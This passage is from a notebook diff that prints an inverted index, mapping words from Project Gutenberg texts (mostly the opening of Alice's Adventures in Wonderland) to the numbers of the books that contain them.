14],\n", - " 're-use': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 14],\n", - " 'under': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'terms': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 14],\n", - " 'project': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'gutenberg': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'license': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 14],\n", - " 'included': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'online': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 14],\n", - " 'www.gutenberg.org': [1, 2, 3, 4, 5, 7, 8, 10, 12, 14],\n", - " 'title:': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'wonderland': [1],\n", - " 'author:': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'posting': [1, 4, 9, 11],\n", - " 'date:': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'june': [1, 4, 5, 6, 7, 8, 9],\n", - " '25,': [1, 10, 14],\n", - " '2008': [1, 4, 9, 10, 11],\n", - " '[ebook': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 14],\n", - " '#11]': [1],\n", - " 'release': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'march,': [1, 5, 7, 8, 9, 10, 12, 13],\n", - " '1994': [1],\n", - " 'last': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'updated:': [1, 4, 6, 10, 13, 14],\n", - " 'october': [1, 5, 6, 7, 9, 10, 11, 12, 13],\n", - " '6,': [1, 12],\n", - " '2016': [1],\n", - " 'language:': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'english': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'character': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'set': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'encoding:': [1, 3, 5, 7, 10, 12],\n", - " 'utf-8': [1, 5, 10, 12],\n", - " '***': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'start': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'millennium': [1, 9],\n", - " 'fulcrum': [1],\n", - " 'edition': [1, 2, 3, 5, 7, 8, 9, 10, 12, 13],\n", - " '3.0': [1],\n", - " 'chapter': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13],\n", - " 'i.': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'down': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'rabbit-hole': [1],\n", - " 'alice': [1, 7],\n", - " 'was': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'beginning': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'to': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'get': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'very': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'tired': [1, 2, 3, 4, 5, 6, 7, 8, 9, 11, 12, 13, 14],\n", - " 'sitting': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'her': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'sister': [1, 2, 4, 5, 6, 7, 9, 10, 11, 13],\n", - " 'on': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'bank,': [1, 2, 4, 5, 6, 9, 11, 12, 13, 14],\n", - " 'having': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'nothing': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'do:': [1, 6, 7, 11, 12],\n", - " 'once': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'twice': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'she': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'had': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'peeped': [1, 3, 4, 5, 6, 7, 9, 10, 11, 13],\n", - " 'into': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'book': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'reading,': [1, 4, 5, 7, 9, 11, 12],\n", - " 'but': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'pictures': [1, 3, 4, 6, 7, 8, 9, 10, 13, 14],\n", - " 'conversations': [1, 3, 4, 5, 7, 9, 10, 11],\n", - " '‘and': [1, 10],\n", - " 'what': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'a': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'book,’': [1],\n", - " 'thought': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " '‘without': [1],\n", - " 'conversations?’': [1],\n", - " 'so': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'considering': [1, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13],\n", - " 'own': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'mind': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " '(as': [1, 3, 4, 5, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'well': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'as': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'could,': [1, 2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'hot': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'day': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'made': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'feel': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'sleepy': [1, 3, 4, 5, 6, 7, 8, 9, 10, 11, 14],\n", - " 'stupid),': [1],\n", - " 'whether': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'pleasure': [1, 2, 3, 4, 5, 6, 7, 8, 9, 11, 12, 13, 14],\n", - " 'making': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'daisy-chain': [1],\n", - " 'would': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'be': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'worth': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'trouble': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'getting': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'up': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'picking': [1, 2, 3, 4, 5, 6, 7, 9, 10, 11, 12, 13, 14],\n", - " 'daisies,': [1, 7, 8, 9],\n", - " 'when': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'suddenly': [1, 2, 3, 4, 5, 7, 8, 9, 10, 11, 13, 14],\n", - " 'white': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'rabbit': [1, 6, 7, 8, 11],\n", - " 'pink': [1, 3, 7, 9, 13],\n", - " 'eyes': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'ran': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'close': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'her.': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'there': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'remarkable': [1, 3, 4, 5, 7, 9, 10, 11, 12, 13, 14],\n", - " 'that;': [1, 2, 3, 4, 6, 7, 8, 10, 11, 12, 13, 14],\n", - " 'nor': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'did': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'think': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'much': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'out': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'way': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'hear': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'say': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'itself,': [1, 3, 4, 5, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " '‘oh': [1],\n", - " 'dear!': [1, 4, 7, 9, 10, 11],\n", - " 'oh': [1, 2, 3, 4, 7, 9, 10, 11],\n", - " 'i': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'shall': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'late!’': [1],\n", - " '(when': [1, 4, 5, 10],\n", - " 'over': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'afterwards,': [1, 3, 4, 5, 6, 7, 8, 10, 11, 12, 13, 14],\n", - " 'occurred': [1, 3, 4, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'that': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'ought': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'have': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'wondered': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'this,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'time': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'all': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'seemed': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'quite': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'natural);': [1],\n", - " 'actually': [1, 3, 4, 5, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'took': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'watch': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'its': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'waistcoat-pocket,': [1, 4, 11],\n", - " 'looked': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'then': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'hurried': [1, 3, 4, 5, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'on,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'started': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'feet,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'flashed': [1, 3, 4, 7, 8, 9, 10, 11, 14],\n", - " 'across': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'never': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'before': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'seen': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'either': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'take': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'burning': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'curiosity,': [1, 3, 4, 5, 7, 9, 12, 13, 14],\n", - " 'field': [1, 2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'after': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'fortunately': [1, 3, 4, 5, 7, 9, 10, 11, 13],\n", - " 'just': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'see': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'pop': [1, 9, 10],\n", - " 'large': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'hedge.': [1, 2, 7, 9, 13],\n", - " 'another': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'moment': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'went': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'how': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'world': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'again.': [1, 2, 3, 4, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'straight': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'like': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'tunnel': [1, 3, 4, 6, 10, 13],\n", - " 'some': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'way,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'dipped': [1, 3, 4, 7, 8, 10, 11, 12, 13],\n", - " 'down,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'not': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'about': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'stopping': [1, 2, 3, 4, 5, 6, 7, 9, 10, 11, 13, 14],\n", - " 'herself': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 13],\n", - " 'found': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'falling': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'deep': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'well.': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'deep,': [1, 3, 5, 6, 7, 10, 11, 12, 13, 14],\n", - " 'fell': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'slowly,': [1, 2, 4, 7, 9, 10, 11, 13, 14],\n", - " 'plenty': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'look': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'wonder': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'going': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'happen': [1, 3, 4, 5, 6, 7, 9, 10, 11, 12, 13, 14],\n", - " 'next.': [1, 5, 6, 9, 10, 14],\n", - " 'first,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'tried': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'make': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'coming': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'to,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'too': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'dark': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'anything;': [1, 2, 4, 6, 7, 10, 11, 12],\n", - " 'sides': [1, 2, 3, 4, 5, 6, 7, 8, 10, 11, 12, 13, 14],\n", - " 'well,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'noticed': [1, 2, 3, 4, 6, 7, 8, 9, 10, 11, 13],\n", - " 'they': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'were': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'filled': [1, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'cupboards': [1],\n", - " 'book-shelves;': [1],\n", - " 'here': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'saw': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'maps': [1, 4, 5, 9, 12],\n", - " 'hung': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'upon': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'pegs.': [1],\n", - " 'jar': [1, 3, 4, 8, 9, 10, 12, 13],\n", - " 'from': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'one': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'shelves': [1, 4, 9, 11],\n", - " 'passed;': [1, 3, 4, 5, 7, 8, 10, 11],\n", - " 'labelled': [1, 10],\n", - " '‘orange': [1],\n", - " 'marmalade’,': [1],\n", - " 'great': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'disappointment': [1, 3, 4, 5, 7, 9, 11, 12, 13, 14],\n", - " 'empty:': [1, 7],\n", - " 'drop': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'fear': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'killing': [1, 2, 3, 7, 8, 9, 10, 12, 13, 14],\n", - " 'somebody,': [1, 2, 4, 6, 7, 9, 11, 12],\n", - " 'managed': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'put': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'past': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'it.': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " '‘well!’': [1],\n", - " 'herself,': [1, 4, 6, 7, 8, 9, 11, 13, 14],\n", - " '‘after': [1],\n", - " 'such': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'fall': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'tumbling': [1, 3, 4, 5, 6, 8, 9, 10, 11, 12, 13, 14],\n", - " 'stairs!': [1],\n", - " 'brave': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'they’ll': [1, 10],\n", - " 'me': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'home!': [1, 7, 10],\n", - " 'why,': [1, 2, 3, 4, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'wouldn’t': [1, 10],\n", - " 'anything': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'even': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'if': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'off': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'top': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'house!’': [1],\n", - " '(which': [1, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13],\n", - " 'likely': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'true.)': [1],\n", - " 'down.': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'come': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'an': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'end!': [1],\n", - " '‘i': [1, 10, 12],\n", - " 'many': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'miles': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'i’ve': [1, 10],\n", - " 'fallen': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'time?’': [1],\n", - " 'said': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'aloud.': [1, 4, 7, 8, 9, 11, 14],\n", - " 'must': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'somewhere': [1, 2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'near': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'centre': [1, 3, 4, 5, 7, 10, 11, 12, 13, 14],\n", - " 'earth.': [1, 3, 4, 5, 7, 8, 9, 10, 11, 12, 13],\n", - " 'let': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'see:': [1, 7, 10],\n", - " 'four': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'thousand': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'think--’': [1],\n", - " '(for,': [1, 5, 14],\n", - " 'see,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'learnt': [1, 4, 5, 6, 7, 8, 10, 11, 12, 13],\n", - " 'several': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'things': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'sort': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'lessons': [1, 3, 4, 5, 6, 7, 8, 9, 10, 11, 13],\n", - " 'schoolroom,': [1, 7],\n", - " 'though': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'good': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'opportunity': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'showing': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'knowledge,': [1, 3, 4, 5, 8, 10, 11, 12, 13],\n", - " 'listen': [1, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'her,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'still': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'practice': [1, 2, 3, 4, 5, 6, 7, 8, 9, 11, 12, 14],\n", - " 'over)': [1, 10],\n", - " '‘--yes,': [1],\n", - " 'that’s': [1, 10],\n", - " 'right': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'distance--but': [1],\n", - " 'latitude': [1, 4, 5, 10, 12, 14],\n", - " 'longitude': [1, 5, 10, 12, 14],\n", - " 'got': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'to?’': [1],\n", - " '(alice': [1],\n", - " 'idea': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, 14],\n", - " 'was,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'either,': [1, 4, 6, 7, 9, 10, 11],\n", - " 'nice': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'grand': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 12, 13, 14],\n", - " 'words': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'say.)': [1],\n", - " 'presently': [1, 2, 3, 4, 5, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'began': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'through': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'earth!': [1, 10],\n", - " 'funny': [1, 3, 6, 8, 9, 10, 11, 13, 14],\n", - " 'it’ll': [1, 10],\n", - " 'seem': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'among': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'people': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'walk': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'their': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'heads': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'downward!': [1],\n", - " 'antipathies,': [1],\n", - " '(she': [1, 2, 4, 7, 9],\n", - " 'rather': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'glad': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'listening,': [1, 4, 7, 9, 10, 11, 14],\n", - " 'time,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'didn’t': [1, 10],\n", - " 'sound': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'word)': [1, 8],\n", - " '‘--but': [1],\n", - " 'ask': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'them': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'name': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'country': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'is,': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'know.': [1, 2, 3, 4, 6, 7, 9, 10, 11, 14],\n", - " 'please,': [1, 2, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'ma’am,': [1],\n", - " 'new': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'zealand': [1, 10, 13],\n", - " 'australia?’': [1],\n", - " '(and': [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14],\n", - " 'curtsey': [1, 11],\n", - " 